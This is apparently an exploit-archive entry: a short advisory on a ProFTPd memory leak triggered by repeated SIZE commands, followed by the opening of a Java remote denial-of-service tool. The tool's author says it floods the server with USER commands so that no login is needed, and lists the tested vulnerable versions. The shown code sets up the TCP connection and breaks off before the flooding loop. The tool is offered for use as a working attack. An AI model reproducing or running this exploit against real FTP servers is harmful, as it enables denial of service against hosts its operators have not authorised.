source: https://www.securityfocus.com/bid/2185/info A memory leak has been reported in all versions of ProFTPd. The SIZE FTP command causes the server to misallocate and leak small amounts of memory each time the command is executed. If a sufficient number of these commands are executed by the server, substantial amounts of system memory can be consumed, allowing a remote attacker to carry out a denial of service attack on the affected host. This could be problematic if anonymous FTP is enabled or if a malicious local user has been supplied with an FTP login ID. /* ProFTPd DoS version 1.1 Remote DoS in proFTPd Code by: JeT-Li -The Wushu Master- jet_li_man@yahoo.com Recently I posted a remote DoS for ProFTPd based in the multiple use of the SIZE command in order to crash the system. Now and thanks to the information provided by Wojciech Purczynski I have coded a program that not only use the SIZE command but also the USER command. So at this time access to the ftp is not necessary to manage a DoS attack. The concept is equal to the last exploit one, but using multiple USER instead of SIZE. You don't have to give arguments when you execute the program, it will request you these. Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all the ppl of #hackers (not able for cardiac XD). Vulnerable systems: ProFTPd 1.2.0rc1 (Tested) ProFTPd 1.2.0rc2 (Tested) And maybe others(1.2.0preX); I have no test this, but I'm sure you can do it for me ;-) NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of Wojciech Purczynski ... */ import java.net.*; import java.io.*; class TCPconnection { public TCPconnection (String hostname, int portnumber) throws Exception { Socket s = doaSocket(hostname, portnumber); br = new BufferedReader (new InputStreamReader (s.getInputStream())); ps = new PrintStream (s.getOutputStream()); } public String readLine() throws Exception { String s; try { s = br.readLine(); } catch (IOException ioe) { System.out.println("TCP Error ... it's a little hax0r exception ;-)"); throw new Exception ("\nInput Error: I/O Error"); } return s; } public void println(String s) { ps.println(s); } private Socket doaSocket(String hostname, int portnumber) throws Exception { Socket s = null; int attempts = 0; while (s == null && attempts